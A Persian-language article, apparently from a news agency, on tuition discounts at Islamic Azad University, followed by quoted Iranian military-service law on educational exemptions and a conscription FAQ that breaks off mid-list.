همه راه‌های تخفیف شهریه از دانشگاه آزاد اسلامی

پرداخت شهریه دانشگاه‌ها برای نزدیک به ۸۵ درصد دانشجویان کل کشور یکی از مسائل مهم است و به تبع آن هر دانشجویی به فکر یافتن راهی برای تخفیف در شهریه است.

 

به گزارش گروه رسانه‌های دیگر خبرگزاری آنا از فرهیختگان؛ تهیه کردن شهریه دانشگاه یکی از مسائل مهمی است که هر خانواده‌ای را در طول تحصیل فرزندشان با مشکلاتی همراه می‌کند، البته دانشجویانی هستند که بدون کمک مالی والدین و با کار پاره‌وقت به هر شکلی شده، هزینه‌های دانشگاه را پرداخت می‌کنند. اما پرداخت شهریه دانشگاه‌ها برای نزدیک به ۸۵درصد دانشجویان کل کشور یکی از مسائلی است که هر دانشجویی را به فکر فرو می‌برد که آیا راهی برای تخفیف شهریه‌ای وجود دارد؟
البته در این میان مسئولان دانشگاه آزاد اسلامی طی هفته‌های اخیر اظهارات و اخبار خوشحال‌کننده‌ای در این رابطه مطرح کرده‌اند؛ علی‌اکبر ولایتی رئیس هیات امنای این دانشگاه ۲۰ تیرماه در گردهمایی مسئولان بسیج دانشجویی دانشگاه‌های آزاد با اشاره به اینکه بیش از ۹۰ درصد هزینه‌های جاری و عمرانی دانشگاه آزاد اسلامی از محل شهریه دانشجویان تامین می‌شود که این هزینه‌ها را خانواده‌ها به سختی پرداخت می‌کنند، گفت: «از مهر امسال شهریه‌های دانشگاه آزاد اسلامی متناسب با شرایط اقتصادی هر منطقه تعدیل می‌شوند.»
از سوی دیگر ۱۹ تیرماه بود که علی‌محمد نوریان سرپرست دانشگاه آزاد اسلامی از تخفیف شهریه به استعدادهای درخشان کشور در مناطق محروم و اختصاص بورسیه به تمامی نخبگان خبر داد. همین موضوع بهانه خوبی است که به تخفیف‌های شهریه که یک دانشجو می‌تواند از آن استفاده کند بپردازیم؛ این تخفیف‌ها با توجه به بخشنامه‌ای که در سال ۹۴ به واحدها ابلاغ شده، مورد بررسی قرار گرفته است.
اگر از تخفیف‌های خاص برخی از واحد بگذریم طبق آن چیزی که از سوی دانشگاه آزاد اسلامی اعلام شده است، نزدیک به ۱۲ مورد است که هر دانشجو می‌تواند از تخفیف‌های شهریه‌ای استفاده کند.

دانشجویان ممتاز علمی
این دانشجویان اگر موفق به دریافت رتبه اول تا سوم ورودی هر رشته مقطع و در هر سال تحصیلی باشند نیز می‌توانند از تخفیف‌های دانشجویی استفاده کنند.
کاردانی و کارشناسی پیوسته و ناپیوسته: در هیچ درسی نمره کمتر از ۱۲ نداشته و میانگین نمرات در رشته‌های فنی و مهندسی و علوم‌پزشکی ۱۷، علوم پایه و کشاورزی ۱۸، علوم انسانی و هنر از ۱۹ کمتر نباشد.
کارشناسی‌ارشد: در هیچ درسی نمره کمتر از ۱۴ نداشته و میانگین نمرات در رشته‌های فنی و مهندسی و علوم‌پزشکی ۱۶، علوم‌پایه و کشاورزی ۱۷، علوم‌انسانی، هنر و پزشکی از ۱۸ کمتر نباشد.
دکتری: در هیچ درسی نمره کمتر از ۱۴ نداشته و میانگین نمرات کمتر از ۱۶ نباشد.

نفرات برتر آزمون‌ها
این تخفیف‌ها با توجه به رتبه داوطلبان، گروه آزمونی و مقطع تحصیلی متفاوت است که به‌طور نسبی به ۳۰ نفر برتر آزمون‌ها از ۱۵ تا ۲۵ درصد تخفیف ارائه می‌شود. البته این ماده شامل پذیرفته‌شدگان مقطع دکتری تخصصی نمی‌شود. همچنین سقف مجاز اعطای تخفیف برای واجدین شرایط این ماده در مقاطع کارشناسی پیوسته هشت نیمسال، کارشناسی‌ارشد چهار نیمسال و برای دکتری حرفه‌ای ۱۰ نیمسال است. در صورتی‌که دانشجویان مشمول این ماده در هر نیمسال از دوره تحصیلی خود مشروط شوند از نیمسال بعد مشمول اعطای تخفیف نخواهند بود.

دانشجویان قهرمان
این تخفیف یکی از موارد وسوسه‌انگیز دانشگاه آزاد اسلامی است، که از پنج تا ۱۰۰ درصد متغیر است! قهرمانی استانی تا ۱۵ درصد، قهرمانی کشوری تا ۲۵ درصد، مسابقات سراسری دانشگاه آزاد اسلامی، المپیاد دانشجویی کشور تا ۳۰ درصد، مسابقات بین‌المللی تا ۸۰ درصد و المپیک و پارالمپیک تا ۱۰۰ درصد از جمله این موارد است.

دانشجویان قاری و حافظ قرآن کریم
این تخفیف شهریه‌ای نیز از پنج تا ۳۰ درصد متغیر است، به‌طوری که دانشجویانی که در رشته‌های حفظ و ترجمه فارسی قرآن‌کریم و قرائت در مسابقات یا جشنواره‌های قرآن و عترت داخلی یا خارجی حائز رتبه می‌شوند می‌توانند از این تخفیف‌ها استفاده کنند. زمان اعطای تخفیف شهریه، اولین نیمسال تحصیلی پس از احراز رتبه و دریافت گواهی و تاییدیه مربوطه است و کانون قرآن و عترت واحد باید آن را تایید کند.

پژوهشگران
این تخفیف نیز یکی از مواردی است که دانشجویان فعال در حوزه پژوهشی می‌توانند تا سقف ۳۵ درصد از آن استفاده کنند؛ چاپ مقاله در همایش‌ها و مجلات معتبر، ترجمه، تالیف و گردآوری کتاب و رتبه‌های اول تا سوم مسابقات علمی از این دست موارد است.

چند دانشجویی
این تخفیف نیز برای خانواده‌هایی که همزمان بیش از یک دانشجوی شاغل به تحصیل در دانشگاه آزاد اسلامی دارند و توان پرداخت شهریه را به صورت کامل ندارند، است. این تخفیف که دارای شرایط خاص است از پنج تا ۲۵ درصد به دانشجویان تخفیف شهریه ارائه می‌دهد.

دیگر تخفیف‌ها
جدا از موارد گفته شده تخفیف‌های دیگری نیز هست که برای برخی از دانشجویان می‌تواند قابل تامل باشد؛ طرح‌های کارآفرینی تا سقف ۳۰ درصد، نفرات برتر مسابقات فرهنگی‌هنری تا سقف ۲۰ درصد و اعضای خانواده کارکنان و اعضای هیات‌علمی دانشگاه آزاد اسلامی از دیگر موارد است.

قوانین معافیت تحصیلی

قوانین معافیت تحصیلی برای دانش آموزان به شرح ذیل می باشد:
 
ماده ۳۱ : دانش آموزان مدارس و دانشجویان مراکز آموزش عالی وابسته به وزارت آموزش و پرورش و یا مورد تأیید آن وزارت و دانشجویان دانشگاه‌ها و مؤسسات آموزش عالی دولتی یا غیر دولتی داخلی و خارجی مورد تأیید وزارتخانه‌های علوم و بهداشت و طلاب حوزه‌های علمیه که در حین تحصیل به سن مشمولیت رسیده و یا می‌رسند، تا زمانی که به تحصیلات خود ادامه می‌دهند، از اعزام به خدمت دوره ضرورت معاف می‌باشند.
 
ماده ۳۳ : صدور معافیت تحصیلی دانش‌آموزان، دانشجویان و طلاب علوم دینی، موکول به ارائه گواهی اشتغال به تحصیل آنان از طریق مراجع ذی‌ربط است و مدت اعتبار آن تا یک سال پس از صدور گواهی پایان تحصیلات در هر مقطع می‌باشد.
 
تبصره ۱: حداکثر معافیت تحصیلی برای دانش‌آموزان تا سن بیست سال تمام و در هر یک از مقاطع تحصیلی کاردانی دو و نیم سال، کارشناسی ناپیوسته و کارشناسی‌ارشد ناپیوسته سه سال، کارشناسی پیوسته پنج سال و کارشناسی ارشد پیوسته شش سال، دکترای پزشکی پیوسته هشت سال و دکترای تخصصی شش سال است.
 
ماده ۳۴ : دانش‌آموزان و دانشجویان و طلاب علوم دینی مشمول، در صورت ترک تحصیل، اخراج، انصراف یا فراغت از تحصیل، باید برای خدمت دوره ضرورت خود را معرفی نمایند. مقامات مسئول مکلفند صورت اسامی این قبیل مشمولین را با ذکر مشخصات کامل و نشانی و رشته تحصیلی به طور انفرادی، بدون تأخیر به سازمان محل ارسال دارند.
 
تبصره ۱: مهلت معرفی مشمولین مذکور حداکثر یک سال پس از تاریخ انصراف، ترک تحصیل و اخراج و فراغت از تحصیل است.
 
 تبصره ۳: متخلفین از اجراء این ماده برای بار اول به توبیخ کتبی و درج در پرونده و برای بار دوم علاوه بر توبیخ کتبی به یک ماه انفصال از خدمت و برای بار سوم به دو ماه انفصال از خدمت محکوم می‌شوند.
 
*معافیت تحصیلی خارج از کشور
 
ماده ۳۱: دانش آموزان مدارس و دانشجویان مراکز آموزش عالی وابسته به وزارت آموزش و پرورش و یا مورد تأیید آن وزارت و دانشجویان دانشگاه‌ها و مؤسسات آموزش عالی دولتی یا غیر دولتی داخلی و خارجی مورد تأیید وزارتخانه‌های علوم و بهداشت و طلاب حوزه‌های علمیه که در حین تحصیل به سن مشمولیت رسیده و یا می‌رسند، تا زمانی که به تحصیلات خود ادامه می‌دهند، از اعزام به خدمت دوره ضرورت معاف می‌باشند.
 
ماده ۳۳: صدور معافیت تحصیلی دانش‌آموزان، دانشجویان و طلاب علوم دینی، موکول به ارائه گواهی اشتغال به تحصیل آنان از طریق مراجع ذی‌ربط است و مدت اعتبار آن تا یک سال پس از صدور گواهی پایان تحصیلات در هر مقطع می‌باشد.
 
تبصره ۱: حداکثر معافیت تحصیلی برای دانش‌آموزان تا سن بیست سال تمام و در هر یک از مقاطع تحصیلی کاردانی دو و نیم سال، کارشناسی ناپیوسته و کارشناسی‌ارشد ناپیوسته سه سال، کارشناسی پیوسته پنج سال و کارشناسی ارشد پیوسته شش سال، دکترای پزشکی پیوسته هشت سال و دکترای تخصصی شش سال است.
 
تبصره ۲: در مواقع ضروری با تشخیص و اعلام کمیسیون موارد خاص دانشگاه‌های مربوط حداکثر یک سال به مدت فوق اضافه می‌شود.
 
ماده ۳۴: دانش‌آموزان و دانشجویان و طلاب علوم دینی مشمول، در صورت ترک تحصیل، اخراج، انصراف یا فراغت از تحصیل، باید برای خدمت دوره ضرورت خود را معرفی نمایند. مقامات مسئول مکلفند صورت اسامی این قبیل مشمولین را با ذکر مشخصات کامل و نشانی و رشته تحصیلی به طور انفرادی، بدون تأخیر به سازمان محل ارسال دارند.
 
تبصره۲: مشمولینی که با داشتن معافیت تحصیلی در خارج از کشور تحصیل می‌کنند، پس از ترک تحصیل یا اخراج یا انصراف یا فراغت از تحصیل، موظفند برای رسیدگی به وضع مشمولیت خود حداکثر ظرف یک سال خود را به نمایندگی جمهوری اسلامی ایران در خارج از کشور معرفی نمایند.
 
تبصره ۳: متخلفین از اجراء این ماده برای بار اول به توبیخ کتبی و درج در پرونده و برای بار دوم علاوه بر توبیخ کتبی به یک ماه انفصال از خدمت و برای بار سوم به دو ماه انفصال از خدمت محکوم می‌شوند.
 
ماده ۳۵: مشمولین دیپلم که حداکثر یک سال پس از فراغت از تحصیل در یکی از دانشگاه‌ها و مؤسسات آموزش عالی داخل یا خارج از کشور که مورد تأیید وزارتخانه‌های علوم و بهداشت می‌باشند پذیرفته شوند تا زمانی که وفق تبصره (۱) ماده (۳۳) به تحصیل اشتغال دارند، می‌توانند مشروط به اینکه دارای غیبت غیر موجه نباشند از معافیت تحصیلی استفاده نمایند. این معافیت برای هر مقطع فقط یک بار داده می‌شود.
 
تبصره ۱: معافیت تحصیلی دانشجویان انصرافی در طول مدت تحصیل فقط یک بار قابل تمدید است.
 
تبصره ۲: ترخیص کارکنان وظیفه بدون غیبت اولیه در حین خدمت جهت ادامه تحصیل در مقاطع کارشناسی و بالاتر به جز در زمان‌های اضطراری و جنگ بلامانع است.
 
ماده ۳۶: مشمولین دارای مدرک کارشناسی و بالاتر و معادل آن در حوزه‌های علمیه علاقمند به تحصیل در خارج از کشور در صورتی که از نظر مقررات این قانون و وزارتخانه‌های علوم و بهداشت، حائز شرایط ادامه تحصیل در خارج از کشور باشند و دانشگاه‌ها و رشته‌های آنها مورد تأیید وزارتخانه‌های فوق باشد، می‌توانند با سپردن تضمین‌های لازم با استفاده از مقررات این قانون برای تحصیل به خارج از کشور مسافرت نمایند.
 
ماده ۳۷: ایرانیان مقیم خارج از کشور، فرزندان مامورین ثابت دولت جمهوری اسلامی ایران در خارج از کشور و همچنین کسانی که قانوناً تحت کفالت، یا ولایت قانونی آنها می‌باشند، چنانچه در حین تحصیل در مدارس ایرانی مستقر در خارج از کشور و یا مؤسسات آموزشی کشورهای خارج مورد تأیید آموزش و پرورش و طلاب حوزه‌های علمیه مورد تأیید شورای عالی حوزه‌های علمیه به سن مشمولیت برسند از معافیت تحصیلی بهره‌مند می‌گردند و ادامه تحصیل آنان تا سقف یک سال پس از فراغت از تحصیل در دانشگاه‌ها و مراکز آموزش عالی خارج از کشور که مورد تأیید وزارتخانه‌های علوم یا بهداشت هستند بلامانع می‌باشد.
 
*معافیت تحصیلی طلاب علوم دینی
 
ماده ۳۱: دانش آموزان مدارس و دانشجویان مراکز آموزش عالی وابسته به وزارت آموزش و پرورش و یا مورد تأیید آن وزارت و دانشجویان دانشگاه‌ها و مؤسسات آموزش عالی دولتی یا غیر دولتی داخلی و خارجی مورد تأیید وزارتخانه‌های علوم و بهداشت و طلاب حوزه‌های علمیه که در حین تحصیل به سن مشمولیت رسیده و یا می‌رسند، تا زمانی که به تحصیلات خود ادامه می‌دهند، از اعزام به خدمت دوره ضرورت معاف می‌باشند.
 
ماده۳۲: طلاب علوم دینی که قبل از رسیدن به سن مشمولیت و یا اعزام هم طبقه خود طبق ضوابط مرکز مدیریت حوزه‌های علمیه یا نمایندگان رسمی آن و یا با مجوز رسمی شورای عالی حوزه‌های علمیه در شهرستان‌ها به تحصیل اشتغال ورزند در مدت تحصیل می‌توانند از مزایای ماده ۳۱ قانون استفاده کنند. ارزشیابی میزان تحصیل با شورای مدیریت و یا نماینده آن خواهد بود.
 
تبصره: مشمولان دیپلمه که دوره سطح و یا حداقل ۶ سال دوره خارج را گذرانده باشند به ترتیب همانند مشمولان لیسانس و دکتر خواهند بود و چنانچه بدون دیپلم دوره‌های مذکور را گذرانده باشند همانند مشمولان فوق دیپلم و فوق لیسانس می‌باشند و در هر صورت طلابی که به درجه اجتهاد نایل گردند همانند مشمولین دکترا می‌باشند.
 
ماده ۳۳: صدور معافیت تحصیلی دانش‌آموزان، دانشجویان و طلاب علوم دینی، موکول به ارائه گواهی اشتغال به تحصیل آنان از طریق مراجع ذی‌ربط است و مدت اعتبار آن تا یک سال پس از صدور گواهی پایان تحصیلات در هر مقطع می‌باشد.
 
بخشنامه:
۱-افراد دارای مدرک تحصیلی زیر دیپلم قبل از سن مشمولیت ، مجاز به تحصیل در حوزه علمیه می باشند.
 
۲- مشمول دارای مدرک دیپلم یا پیش دانشگاهی که هنوز وارد غیبت نگردیده است ، مجاز به شروع به تحصیل در حوزه علمیه می باشد.
 
۳-کلیه مشمولان فوق دیپلم تا دکتری پس از فراغت از تحصیل ، به شرط نداشتن غیبت و با رعایت شرایط سنی زیر می توانند به طور تمام وقت در حوزه های علمیه تحصیل نموده و از معافیت تحصیلی برخوردار شوند.
 
۱/۳-سن مشمولان فوق دیپلم حداکثر ۲۲ سال تمام باشد.
۲/۳-سن مشمولان لیسانس حدکثر ۲۴ سال تمام می باشد.
۳/۳-سن مشولان فوق لیسانس حداکثر ۲۸ سال تمام باشد.
۴/۳-سن مشمولان دکتری حداکثر ۳۰ سال تمام باشد.
 
۴-ترخیص سربازان حین خدمت فارغ التحصیل مقطع دیپلم و بالاتر به شرط نداشتن غیبت اولیه،(و رعایت شرط سنی برای سربازان فوق دیپلم تا دکتری) برای ادامه تحصیل در حوزه های علمیه بلامانع است،لذا سربازان حین خدمت می بایست ابتدا توسط وظیفه عمومی محل سکونت ترخیص شوند و پس از ثبت ترخیص از خدمت ، مجاز به استفاده از معافیت تحصیلی می باشند.
 
۵-دانشجویان انصرافی از دانشگاهها در صورت نداشتن غیبت و حداکثر تا یک سال پس از انصراف،‌مجاز به ادامه تحصیل در حوزه علمیه می باشند.
 
۶-سنوات تحصیلی مجاز برای طلاب حوزه های علمیه تشیع:
الف-سطح۱:حداکثر ۹ سال (معادل کاردانی)
ب-سطح ۲:حدکاثر ۶ سال (معادل کارشناسی)
ج-سطح ۳: حداکثز ۳ سال (معادل کارشناسی ارشد)
 
د-سطح۴(معادل دکتری): حداکثر ۱۲ سال (۸ سال تحصیل+۴سال تدوین پایان نامه) ،ضمنا مادامی که مرکز مدیریت حوزه علمیه قطع رابطه تحصیلی آنان را اعلام نکند همچنان از معافیت تحصیلی استفاده خواهند نمود.
 
تبصره۱:مشمولان فوق دیپلم تا دکتری که برابر شرایط ، معافیت تحصیلی حوزوی اخذ می نمایند می بایست سطح یک را حداکثر ظرف مدت۷ سال به اتمام برسانند و در غیر اینصورت مجاز به ادامه تحصیل در مقاطع بعدی نیستند.
 
تبصره۲: چنانچه طلاب سطح ۲و۳ ، در طرح هجرت روحانیون شرکت کرده یا به عنوان ائمه جمعه و جماعت قضاوت ،تدریس و تبلیغ مشمول خدمت شده باشند مدت خدمت فوق با تایید مرکز مدیریت حوزه علمیه ، به مدت تحصیل آنان اضافه می شود.
 
۷-سنوات تحصیلی مجاز برای طلاب مدارس علوم دینی اهل سنت:
الف-سطح مقدمات: حداکثر تا۲۰ سالگی تمام (معادل دیپلم)
ب-سطح۱:حداکثر۴ سال (معادل کاردانی)
ج-سطح۲:حداکثر ۴سال (معادل کارشناسی)
 
۸- برای طلاب مشغول به تحصیل در حوزه و مدارس علوم دینی ، پس از اتمام هر سطح می بایست برگ آخرین وضعیت تحصیلی طلاب حوزه های علمیه که حسب مورد توسط مرکز مدیریت حوزه علمیه یا دفتر نمایندگی امور اهل سنت تکمیل شده ، به دفاتر پلیس+۱۰ ارائه گردد و پس از ثبت درخواست معافیت تحصیلی ، معافیت تحصیلی جدید برای سطوح بعدی به شرط عدم ورود به غیبت صادر و به مشمول تحویل می گردد.
 
۹-افرادی که به سن مشمولیت رسیده اند و در سن مشمولیت از دبیرستان یا دانشگاه ترک تحصیل و اخراج شده اند، تا پایان خدمت مجاز به تحصیل در حوزه علمیه نمی باشند. (ولی چنانچه ترک تحصیل یا اخراج قبل از ورود به سن مشمولیت باشد مانع شروع به تحصیل در حوزه قبل از سن مشمولیت نمی باشد.)
 
۱۰-پزشکی:رسیدگی به درخواست معافیت پزشکی طلاب در حین تحصیل در حوزه (بدون نیاز به ابطال معافیت تحصیلی) بلامانع است و پس از صدور کارت معافیت پزشکی ، معافیت تحصیلی باطل می شود. در رسیدگی به معافیت پزشکی طلاب ازنظر مقطع تحصیلی ،با طلاب شاغل به تحصیل در سطح مقدمات همانند مشمولان دیپلم و با طلاب شاغل به تحصیل در سطح یک و بالاتر همانند مشمولان فوق دیپلم و بالاتر رفتار می شود.
 
 
ماده ۳۴: دانش‌آموزان و دانشجویان و طلاب علوم دینی مشمول، در صورت ترک تحصیل، اخراج، انصراف یا فراغت از تحصیل، باید برای خدمت دوره ضرورت خود را معرفی نمایند. مقامات مسئول مکلفند صورت اسامی این قبیل مشمولین را با ذکر مشخصات کامل و نشانی و رشته تحصیلی به طور انفرادی، بدون تأخیر به سازمان محل ارسال دارند.
 
تبصره ۱: مهلت معرفی مشمولین مذکور حداکثر یک سال پس از تاریخ انصراف، ترک تحصیل و اخراج و فراغت از تحصیل است.
 
تبصره ۳: متخلفین از اجراء این ماده برای بار اول به توبیخ کتبی و درج در پرونده و برای بار دوم علاوه بر توبیخ کتبی به یک ماه انفصال از خدمت و برای بار سوم به دو ماه انفصال از خدمت محکوم می‌شوند.
 
*معافیت تحصیلی دانشجویان
 
ماده ۳۱: دانش آموزان مدارس و دانشجویان مراکز آموزش عالی وابسته به وزارت آموزش و پرورش و یا مورد تأیید آن وزارت و دانشجویان دانشگاه‌ها و مؤسسات آموزش عالی دولتی یا غیر دولتی داخلی و خارجی مورد تأیید وزارتخانه‌های علوم و بهداشت و طلاب حوزه‌های علمیه که در حین تحصیل به سن مشمولیت رسیده و یا می‌رسند، تا زمانی که به تحصیلات خود ادامه می‌دهند، از اعزام به خدمت دوره ضرورت معاف می‌باشند.
 
ماده ۳۳: صدور معافیت تحصیلی دانش‌آموزان، دانشجویان و طلاب علوم دینی، موکول به ارائه گواهی اشتغال به تحصیل آنان از طریق مراجع ذی‌ربط است و مدت اعتبار آن تا یک سال پس از صدور گواهی پایان تحصیلات در هر مقطع می‌باشد.
 
تبصره ۱: حداکثر معافیت تحصیلی برای دانش‌آموزان تا سن بیست سال تمام و در هر یک از مقاطع تحصیلی کاردانی دو و نیم سال، کارشناسی ناپیوسته و کارشناسی‌ارشد ناپیوسته سه سال، کارشناسی پیوسته پنج سال و کارشناسی ارشد پیوسته شش سال، دکترای پزشکی پیوسته هشت سال و دکترای تخصصی شش سال است.
 
تبصره ۲: در مواقع ضروری با تشخیص و اعلام کمیسیون موارد خاص دانشگاه‌های مربوط حداکثر یک سال به مدت فوق اضافه می‌شود.
 
ماده ۳۴: دانش‌آموزان و دانشجویان و طلاب علوم دینی مشمول، در صورت ترک تحصیل، اخراج، انصراف یا فراغت از تحصیل، باید برای خدمت دوره ضرورت خود را معرفی نمایند. مقامات مسئول مکلفند صورت اسامی این قبیل مشمولین را با ذکر مشخصات کامل و نشانی و رشته تحصیلی به طور انفرادی، بدون تأخیر به سازمان محل ارسال دارند.
 
تبصره ۱: مهلت معرفی مشمولین مذکور حداکثر یک سال پس از تاریخ انصراف، ترک تحصیل و اخراج و فراغت از تحصیل است.
 
تبصره ۳: متخلفین از اجراء این ماده برای بار اول به توبیخ کتبی و درج در پرونده و برای بار دوم علاوه بر توبیخ کتبی به یک ماه انفصال از خدمت و برای بار سوم به دو ماه انفصال از خدمت محکوم می‌شوند.
 
ماده ۳۵: مشمولین دیپلم که حداکثر یک سال پس از فراغت از تحصیل در یکی از دانشگاه‌ها و مؤسسات آموزش عالی داخل یا خارج از کشور که مورد تأیید وزارتخانه‌های علوم و بهداشت می‌باشند پذیرفته شوند تا زمانی که وفق تبصره (۱) ماده (۳۳) به تحصیل اشتغال دارند، می‌توانند مشروط به اینکه دارای غیبت غیر موجه نباشند از معافیت تحصیلی استفاده نمایند. این معافیت برای هر مقطع فقط یک بار داده می‌شود.
 
تبصره ۱: معافیت تحصیلی دانشجویان انصرافی در طول مدت تحصیل فقط یک بار قابل تمدید است.
 
تبصره ۲: ترخیص کارکنان وظیفه بدون غیبت اولیه در حین خدمت جهت ادامه تحصیل در مقاطع کارشناسی و بالاتر به جز در زمان‌های اضطراری و جنگ بلامانع است.
 
در ادامه پاسخ سوالات متداول مشمولان خدمت سربازی درباره معافیت تحصیلی را می‌خوانید:
 
۱- از چه تاریخی مشمولان وارد سن مشمولیت می شوند؟
جواب :  تمام افراد ذکور ایرانی که به سن ۱۸ سالگی تمام می رسند از اول ماه تولد که طی آن ماه وارد ۱۹ سالگی می شوند مشمول قانون وظیفه عمومی می گردند .وتاشش ماه فرصت دارند خودرابه سازمان معرفی نمایند.
 
۲- حداکثر زمان معرفی مشمولانی که قبل از سن مشمولیت فارغ التحصیل ، ترک تحصیل یا اخراج می شوند چه مدت می باشد؟
 جواب : حداکثر مدت معرفی ایشان ۶ ماه پس از رسیدن به ۱۸ سالگی تمام است .
مثال: دانش آموز متولد ۱۸/۲/۷۳ که قبل از ۱/۲/۹۱ فارغ التحصیل ، انصراف ، ترک تحصیل یا اخراج از تحصیل شده باشد حد اکثر تا ۱۸/۸/۹۱ فرصت معرفی خود را دارد.
 
۳- حداکثر زمان معرفی مشمولانی که پس از سن مشمولیت ، فارغ التحصیل، انصراف، ترک تحصیل یا اخراج می شوند چه مدت می باشد؟
جواب : از تاریخ فراغت ، اخراج یا ترک تحصیل یکسال فرصت دارند تا خود را معرفی نمایند.
 مثال: دانش آموز متولد ۱۸/۲/۷۳ که در تیرماه ۱۳۹۱ فارغ التحصیل، انصراف ، ترک تحصیل ویااخراجی محسوب شوند تاپایان تیر ماه ۹۲ مهلت معرفی خواهد داشت.
از تاریخ فراغت ، اخراج یا ترک تحصیل یکسال فرصت دارند تا خود را معرفی نمایند.
(جهت ایجاد تسهیلات برای این قبیل مشمولان ، برای شرکت در آزمون دانشگاهها ،تا ۳۱/۶/سال بعد از فراغت از تحصیل مهلت معرفی دارند.)
 
 ۴- دانش آموزانی که از مهر۹۱ در پایه اول مقطع متوسطه یا پایین تر شروع به تحصیل  نموده اند تا چه زمانی مجاز به تحصیل خواهند بود؟
جواب :  اینگونه مشمولان حداکثر تاپایان ۲۰ سالگی مجازند برابر ضوابط وزارت آموزش و پرورش ادامه تحصیل دهند ، رشته های تحصیلی تاثیری در این مدت زمان نخواهند داشت.
 
۵-   دانش آموزی که از مهر ۹۱ در پایه دوم یا بالاتر شروع به تحصیل نموده اند تا چه زمانی مجاز به تحصیل خواهند بود؟
جواب : چنانچه در رشته ی کاردانش یا فنی حرفه ای به تحصیل اشتغال دارند حداکثر تا پایان ۲۲سالگی ورشته های مختلف پیش دانشگاهی حداکثر تا ۲۴ سالگی مجاز به تحصیل خواهند بود.
 
۶- آیا دانش آموزانی که درورود به سن مشمولیت در مقطع راهنمایی به تحصیل اشتغال دارند حق ادامه تحصیل خواهند داشت ؟
جواب : بله درصورت پیوستگی تحصیلی حداکثر تاپایان ۲۰ سالگی میتوانند تحصیل نمایند.
 
 ۷- آیا دانش آموزان درمهلت یکساله معرفی پس از فراغت ،اخراج، انصراف یا ترک تحصیل می توانند ادامه تحصیل دهند؟
جواب : اینگونه مشمولان می توانند بدون صدور معافیت تاپایان مهلت یکساله وپس از معرفی تاموعد اعزام خود ادامه تحصیل بدهند
مثال : دانش آموزمتولد ۱۵/۸/۷۰ که در مهر ۹۱ درپایه دوم کاردانش شروع به تحصیل نماید می تواند خود را به وظیفه عمومی معرفی نماید چنانچه مشمول مذکور تا ۱۵/۸/۹۲ فارغ التحصیل نشده می تواند بدون صدور معافیت تحصیلی حداکثر تا۱۵/۸/۹۳به تحصیل ادامه دهد وپس از این تاریخ ۱۵/۸/۹۳ درصورت عدم معرفی وارد غیبت خواهد شد.
 
۸ – آیا به مشمولانی که به صورت داوطلب آزاد تحصیل می کنند معافیت تحصیلی تعلق می گیرد؟
جواب : خیر اینگونه مشمولان حق استفاده از معافیت تحصیلی را نخواهند داشت وشروع به تحصیل داوطلب آزاد به عنوان انصراف از تحصیل تلقی می گردد.
 
۹-  متولدین سه ماه اول سال ۷۱ در سال های قبل که در خرداد ماه سال ۹۰ فارغ التحصیل  شده اند تاچه زمان مهلت معرفی خود به وظیفه عمومی را  داشته اند ؟
جواب :دانش آموزان تا۱۸/۸/۹۰ (قبل از اجرای قانون جدید وظیفه عمومی )فرصت معرفی داشته اند درصورت عدم معرفی از تاریخ ۱۹/۸/۹۰ واردغیبت شده اند .
 
-۱۰  متولدین سه ماهه دوم سال ۷۱ در سال قبل که درخرداد ماه سال ۹۰ فارغ التحصیل شده اند تا چه زمان فرجه معرفی خود به وظیفه عمومی را دارند؟
جواب :  اینگونه دانش آموزان با توجه به اینکه فرصت معرفی ایشان ۱۸/۹/۹۰ بود ( بعد از اجرای قانون جدید وظیفه عمومی) فلذا از یک سال مهلت تعیین در قانون جدید برخوردار بوده وتا خرداد ۹۱ مهلت معرفی خواهند داشت.
 
۱۱- با عنایت به اجرای قانون جدید وظیفه عمومی ، موضوع تمدید مهلت اعزام متولد نیمه دوم سال چگونه خواهد بود؟
جواب :  با اجرای قانون جدید موضوع تمدید مهلت اعزام اینگونه  مشمولان منتفی می باشد .
 
۱۲- موعدمعرفی دانش آموزانی که قبل  از ۲۲/۴/۹۰ از تحصیل انصراف  داده ، ترک تحصیل کرده یا اخراج شده اند چگونه است؟
 جواب :اینگونه مشمولان چنانچه حد اکثر ظرف مدت ۴ ماه از تاریخ وقوع خود را معرفی نکرده باشند غایب محسوب می شوند ومی بایست
سریعا  خود را به وظیفه  عمومی معرفی نماید.
  مثال: دانش آموزی که در تاریخ ۱/۳/۹۰ ترک تحصیل یا اخراج شده باشد ، با لحاظ مهلت ۴ ماهه حداکثر تا۱/۷/۹۰ مهلت معرفی داشته فلذا ازآن تاریخ وارد غیبت گردیده ومی بایست سریع خود سریعا خود را به به وظیفه عمومی معرفی نمایند.
 
۱۳- موعد معرفی دانش آموزان انصرافی ، ترک تحصیل ویا اخراجی که آخرین موعد معرفی ایشان به لحاظ مهلت ۴ ماهه بعداز تاریخ ۲۲/۸/۹۰(تاریخ اجرای قانون  جدید وظیفه عمومی) بوده چه زمانی می باشد؟
جواب :اینگونه  دانش آموزان از تاریخ وقوع انصراف ، ترک تحصیل و یا اخراج  یک سال مهلت معرفی خواهند داشت.
 مثال: مشمول متولد ۱۵/۰۶/۷۱ که در تاریخ ۲۲/۶/۹۰ از تحصیل انصراف داده است باتوجه به -مهلت ۴ ماهه قانون قدیم وظیفه عمومی تا ۲۲/۱۰/۹۰ فرجه معرفی داشته که این تاریخ بعداز تاریخ اجرای قانون جدید وظیفه عمومی بوده ، فلذا مشمول تا۲۲/۶/۹۱ مهلت معرفی خواهد داشت.
 
۱۴- مشمولان فارغ التحصیل دانشگاه ها از چه تاریخ می توانند از مهلت ۱ ساله پس از فراغت خود استفاده نمایند؟
جواب :مشمولانی که از تاریخ ۲۲/۲/۹۰ به بعد در مقاطع تحصیلی در دانشگاه فارغ التحصیل شده اند حق استفاده از مهلت ۱ ساله را خواهند داشت.
 
۱۵- مشمولان اخراجی،انصرافی،ترک تحصیل ازچه تاریخ درشمول استفاده ازمهلت۱ساله پس ازتاریخ وقوع انصراف،ترک تحصیل،اخراج قرار می گیرند؟
جواب :مشمولانی که از تاریخ ۲۲/۴/۹۰ به  بعد از تحصیل در مقاطع  دانشگاهی انصراف، ترک تحصیل و یا اخراج شده باشند .
 
 ۱۶- آیا دانشجویان انصرافی حق تحصیل مجدد را دارند؟
